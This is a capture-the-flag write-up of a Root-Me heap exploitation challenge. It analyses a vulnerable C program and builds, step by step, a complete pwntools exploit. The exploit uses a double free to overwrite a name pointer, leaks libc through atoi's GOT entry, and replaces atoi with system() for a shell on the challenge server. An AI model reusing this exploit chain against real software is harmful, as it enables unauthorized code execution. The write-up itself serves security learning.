###Solving a Heap exploitation challenge
In the name of Allah, the most beneficent, the most merciful.
-
Thanks to @_py and @n0tnu11 who encouraged me, to write about such thing…
-
I want to say sorry, cause i don’t write alot more articles, you know guys, studies …
-
It wasn’t easy for me to solve this challenge, took me alot of testing, almost two days.
-
Hello everyone to this article…
-
For learning purposes
-
Challenge is only solved by 35, was 26 when i finished it!
Before we start, let’s take a look at the informations given on the binary and what kind of protections are ON…
Oh yeah, the following protections are ON:
ASLR
NX
SSP
PARTIAL RELRO
Awesome, a perfect target, to start our heap exploitation adventure!
We have also, the source code, and the binary is given!
- Better find a music to listen to:
- I will listen to this!
Awesome, let me first run my VM machine, and then download the binary from the server!
Great, we now, should take a look at the source given, and try to make a plan for the attack…
We have 3 functions that seem important:
- creation() to allocate…
- change() to edit…
- delete() to free…
- show() to show information…
Awesome, so now let’s take a look at the functions…
struct entry *creation() {
char name[64];
struct entry *e;
e = (struct entry *) malloc(sizeof(struct entry));
printf("Name: ");
fgets(name, NAME_LEN_MAX, stdin);
name[strlen(name)-1] = 0;
e->name = malloc(strlen(name));
strcpy(e->name, name);
printf("Age: ");
fgets(name,6,stdin);
e->age = atoi(name);
return e;
}
Uhmm, it will allocate 2 chunks, one built on the struct of entry…
Keep in mind that the struct of entry looks like this:
struct entry {
int age;
char *name;
};
- So, in the first allocated chunk there will be stored the age, and a pointer to next chunk, where name will be stored!
Great!
Now let’s see the delete function!
void delete(int i) {
free(directory[i]->name);
free(directory[i]);
}
- It will free the chunk containing the age and pointer to name, and the next chunk that contains the name!
The show() function:
void show(int i) {
printf("[%d] %s, %d years old\n", i, directory[i]->name, directory[i]->age);
}
- Seems like it will print information about one chunk we choose!
- May lead to some kind of leak, if we controlled the *name…
And the change() function!
void change(int e) {
char name[64];
printf("New name: ");
fgets(name, strlen(directory[e]->name)+1, stdin);
name[strlen(name)] = 0;
strcpy(directory[e]->name, name);
printf("New age: ");
fgets(name, 6, stdin);
directory[e]->age = atoi(name);
}
- It will strcpy our first input to directory[e]->name, and the second input will be put in age!
- There’s seems to be an offbyone bug there, may allow us to change the size of the next chunk…
- We can overwrite arbitrary address if we controlled *name…
Questions that come to our head now!
- How can we overwrite the *name?
Well, this is the real problem, we should become creative…
Let’s start the program, and start analysing memory!
When we start it, we get this menu…
Let’s start it again, but this time, using GDB, to analyse memory, and see our chunks…
- gdb ch44 -q
Awesome, let’s now create a new entry!
Great, now let’s take a look at memory, we will look at &directory!
- Ctrl + C to interrupt the execution and write c in gdb so it continues executing again!
Alright, let’s see &directory!
Awesome, so the first entry is here: 0x605010!
Let’s take a look at what’s in this area!
Great!
The structure of the chunk looks like as we said before!
( size + age + *name + prev_size + size + name + junk… + wilderness )
Awesome, let’s start writing the functions in our exploit.py
#!/usr/bin/python
from pwn import *
# PROCESS
c = process("./ch44")
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
# ATTACH
pause()
# EXPLOIT
# INTERACTIVE
c.interactive()
Seems awesome, now we can start writing our exploit!
- We will mostly modify the EXPLOIT part
let’s start by allocating some chunks, let’s say 4 chunks…
What size of each chunk will we choose ?
- After analysing a bit and trying different chunk sizes, i’ll choose 56, cause we can control all the chunk with that size, allowing us to overwrite the next chunk size with the offbyone we saw before!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
Let’s run the exploit now, and attach it to GDB!
- Now, we should write continue ( c ) in gdb and then press enter in the other terminal, where the exploit.py is running ( pause() )!
- After doing that, the four chunks will be allocated, and we will use CTRL + C in gdb again and then examine them in memory!
Great, all seems working just great!
What if we now free some chunks what will happen?
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
- Alright let’s run the exploit again, and see how the chunks look like now!
- We can see that the FD of chunk 1 was set to the prev_size of chunk 2…
- So now, what do we have?
- We have 4 free chunks… let’s try and allocate something that will fit the chunk with 0x21 in size…
- HELL YEAH!
- So, this maybe can help us, but not in this situation…
- Cause chunk 1 entry looks like this:
- Where 0x20690d0 is where chunk 2 entry starts…
- Then it’s considered as a name…
- Keep this in mind, it may help us later…
- And since this way won’t help us alot now, let’s try and become more creative…
- When we free a chunk, it will be placed in a free_list, then when we allocate a chunk it will placed there if the size fits it!
So when we free chunk 1 then chunk 2 Free_list will look like this :
±------------------------±------------------------+
- ////////CHUNK1/////// + ////////CHUNK2/////// +
±------------------------±------------------------+
Then, when the next allocation happens, the first chunk to be filled is the last free()'d which is chunk2..
But what if we free’d chunk2 two times, if we did it directly a crash occurs!
- We can free chunk2 then chunk1 then chunk2 again, and this will prevent the crash from happening ( double free )…
- And free_list will look like this… chunk2 → chunk1 → NULL
Awesome, let’s try that!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
free(2)
And it worked, what if allocated another chunk of same size ( 56 ) now ?
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'E'*56, 15 )
- Uhmm, everything seems normal, let’s examine memory and see how &directory looks like!
- Oh yeah, so we got two different index in directory that point to the same to the same area!
- So, if we free()'d one of them, we will have some kind of heapleak…
- We will try free()'ing chunk2 since it’s the last one that got filled and chunk1 is now on top of free_list, free()'ing it will result in a crash!
- Oh no! we ended up in a crash while freeing both, let’s try changing the exploit a bit to fit that!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
- Now that, seems just PERFECT!
- And here we gooo!
- We got a heap_leak, but that’s not what we are looking for, we should get a libc_leak!
- Remember the bug we found but didn’t use, that let us overwrite the *name, we’ll try using it now…
- We got to find a way to overwrite the *name of a chunk that’s in-use!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
allocate( 'A'*16, 15 )
- Nothing happens here, so let’s free chunk 0, and allocate twice…
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*16, 15 )
allocate( 'A'*16, 15 )
- What, we got sigsegv when we tried to print entries!
- Seems weird, the first guess is that it tried reading from address 0x4141414141414141.
- Which is overwritten name pointer in chunk2!
- Let’s examine in GDB to make sure!
- And yeah, it treated the AAAAAAAA as a PTR!
- Let’s see now what we can do!
- We will add a part in exploit.py!
# ENTRIES
free_got = 0x602018
We will also write a little function to return the address in littleendian… since p64() didn’t put the address correctly in this example…
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
And then let’s comeback to exploit part and edit our exploit making the *name point to free_got!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
- Awesome, now let’s try showing entries!
- Perfect, now we got a libc_leak!
- We are going to use view() function to store the leak!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
print 'free() @ ' + hex(leak)
- I prefer changing atoi_got since it’s an easier and more guaranteed way to get shell!
int choice(int min, int max, char * chaine) {
int i;
char buf[6];
i = -1;
while( (i < min) || (i > max)) {
printf("%s", chaine);
fgets(buf, 5, stdin);
i = atoi(buf); // HERE
}
return i ;
}
- Great, now we know where atoi actually is, let’s calculate where libc_base will be!
- I’ll use GDB!
- Using vmmap i got libc_base, and we leaked the address of atoi_got!
- Let’s calculate atoi_got - libc_base and system - libc_base!
- Great, let’s create a new part in exploit.py
# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460
Let’s now make use of them in the exploit part!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
- Let’s test the exploit and see where we going!
- Great! now, let’s use the change() function that we spoke about, and change the content of atoi_got to system!
- So in the end the exploit part will become the following!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
- Alright let’s run the exploit now!
- Awesome, we got our shell, but that’s in local only…
- Let’s first collect all parts in our current exploit.py!
#!/usr/bin/python
from pwn import *
# ENTRIES
atoi_got = 0x602078
# PROCESS
c = process("./ch44")
# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
# ATTACH
pause()
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
# INTERACTIVE
c.interactive()
- Let’s connect to the server and see the libc used!
- We’ll run the program using gdb then break using CTRL + C then:
- So the libc is located at : /lib/x86_64-linux-gnu/libc.so.6
- I’ll download it, and i’ll use libcdatabase tool:
- then we’ll use libcdatabase → ./add libc.so.6
- We got everything we need, except atoi!
- We will now edit a part in exploit.py!
# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
- And we will also set c to remote!
# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
- The full exploit now looks like this:
#!/usr/bin/python
from pwn import *
# ENTRIES
atoi_got = 0x602078
# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
# ATTACH
pause()
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
# INTERACTIVE
c.interactive()
- Let’s now run the exploit and see the result…
- And we got our shell!
- Hope you enjoyed, and learned too!
- See you all in next article
~ exploit